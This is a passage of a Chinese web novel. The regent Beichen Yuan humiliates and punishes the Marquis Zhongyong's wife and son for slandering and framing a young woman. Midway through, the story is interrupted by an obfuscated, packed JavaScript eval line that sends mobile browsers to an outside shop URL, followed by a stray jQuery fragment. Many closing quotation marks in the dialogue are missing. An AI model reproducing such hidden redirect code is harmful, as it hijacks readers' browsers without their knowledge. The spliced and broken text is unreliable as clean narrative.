那可是整整三瓶玉如雪花膏啊。
就算他想拿去哄温玥,也至少给她这个娘留一瓶啊。
温雅丽一想到那么多玉如雪花膏,自己一点都没用上,就被儿子拿去全送给别人了,她就心疼的无以复加。
温雅丽是知道儿子喜欢温玥,但没想到这都还没过门呢,自己儿子居然就已经开始偷偷帮着外人骗亲娘了。
温雅丽心中生气,可就算生气谁让那是她的亲儿子呢。
“真是没想到原来是那小子,多亏了摄政王殿下,既然已经查清楚了,那剩下的就交给我们自己吧,您放心,妾身一定会好好教训那小子的。”
北辰渊似笑非笑的瞥了她一眼,“你教训?你打算怎么教训?”
舍不得打自己儿子的温雅丽当然只有说:“不然就罚他跪祠堂?”
“行啊。”
北辰渊出乎意料的同意了。
温雅丽顿时高兴的重新扬起了笑容,她就说嘛,就算是摄政王又怎么可能不给他们忠勇侯府面子?
何况她的身后可是还站着镇国公府呢。
温雅丽心底正得意的想着,却没注意到一旁的忠勇侯从刚才起便连半个字都没说过。
因为他清楚,北辰渊要是真会轻易就这么算了的话,也不会亲自带着黑旗军上门了。
果然下一秒,就听见北辰渊淡淡开口道:“那就罚跪上半个月时间,想来应该也够崔世子反省了。”
“半个月?!”
温雅丽声音瞬间拔高,一下变得十分尖利。
她怒瞪着双眸:“那么长时间怎么行?!”
只怕半个月后她家少泽的腿都跪断了!
“不行?”
北辰渊俊美的脸上露出微微笑意,他像是听不懂温雅丽的话似的,故意说道:“看来忠勇侯夫人是嫌罚的时间太短了,既然如此那就再加半个月,让崔世子在忠勇侯府的祠堂里好好跪上一个月吧。”
“什么?!”
温雅丽差点眼前一黑,一怒之下竟是口不择言:“摄政王殿下,您至于为了一个小贱人,专程跑来害我们家少泽吗?!”
“温雅丽!”
忠勇侯终于忍无可忍,一把拽过温雅丽,在北辰渊动怒之前,他厉声道:“还不立刻向摄政
王殿下认错道歉!
“凭什么认错道歉?!
温雅丽此时怒火攻心,情绪无比上头。
向来娇纵惯了的她从来没有受过像这段时间以来的这么多憋屈。
她好歹也是堂堂镇国公府出身的大小姐,她儿子也是忠勇侯府的世子。
就算你摄政王再怎么权大势大,也不能这么欺负她和她儿子吧?!
“妾身的儿子妾身自己会管教,您摄政王殿下凭什么那般重罚于我儿?!
“就凭你对圣女满口污蔑,而少泽他还对人家栽赃陷害。
忠勇侯好歹也是手握实权的朝廷命官,他在官场上纵横多年,哪儿会看不出来什么端倪?
他这夫人是对温姒那个很有意见,但若是最开始少泽就承认了是自己偷拿的话,那么这件事就不会发展到这个地步。
所以他说自己儿子对温姒栽赃陷害,是一点也不假。
“这跟少泽有什么关系?明明就是她温姒行事不端,才会惹出这诸多误会,若是她本就清清白白的话,谁又会无缘无故地怀疑到她身上?
温雅丽还在固执己见。
在她看来,自己的儿子当然什么都是好的,而温姒在她眼里从来就不是什么好东西。
“你们干什么?还不快放开本世子!
“爹,娘!快来救儿子啊,这里有一伙蛮横无理的贼子!
突然听到自己儿子声音的忠勇侯夫人回头一看,才发现崔少泽都已经被北辰渊的黑旗军给直接抓过来了!
“少泽!
“你们快放开他,快放开他啊!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14121029|149817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
温雅丽脸色一变,立马就要冲上去救她儿子。
谁知却有人直接拦住她:“夫人小心,这刀剑可是无眼的。
高耀拔出腰间的佩刀,刷的一下就插进了脚边的石板中,那锋利程度让温雅丽顿时吓了一跳。
“你……你们这是要干什么?!这里是忠勇侯府!
忠勇侯连忙对北辰渊道:“王爷,本侯地妻儿是有罪,可罪不至此啊!
“罪不至此?
北辰渊冷冷的睨着他:“你觉得罪不至此,可有想过那本就清清白白的人,被你妻儿一而再再而三的欺负羞辱,还污蔑陷害,若她稍有脆弱一些
现在怕是都已经跳河自尽了。”
忠勇侯张了张口终究还是说不出什么反驳之言来。
怪他。
这一切都怪他。
若他对妻儿好好约束若他对那个旧友的孩子多一分关怀是不是就不会变成现如今这个局面了?
最后忠勇侯苦笑一声“求王爷……看在本侯的面子上给本侯的妻儿一个机会吧不论王爷有什么条件本侯都答应。”
“本王对你们没有什么条件好说你的妻儿对不起的人是谁还需要本王再提醒你吗?”
忠勇侯立刻就明白了北辰渊的话。
他闭了闭眼睛拱手行了一礼“多谢王爷指点本侯会好好给那孩子一个交代的。”
“若她原谅了你们一月减至半月若她不肯原谅那就再加倍罚吧。”
再加倍?
这哪里还能经受得住啊?
待北辰渊领着黑旗军离开后忠勇侯看了看自己眼前的妻儿无力道:“今晚少泽便去祠堂罚跪明日你们母子随本侯一起去水月观向圣女殿下低头认错赔礼道歉。”
温雅丽一听张口就想咋呼。
不过还没等她开口这时忠勇侯府的大门口就传来了声音——
“去给谁道歉?”
温权勝乘坐着马车姗姗来迟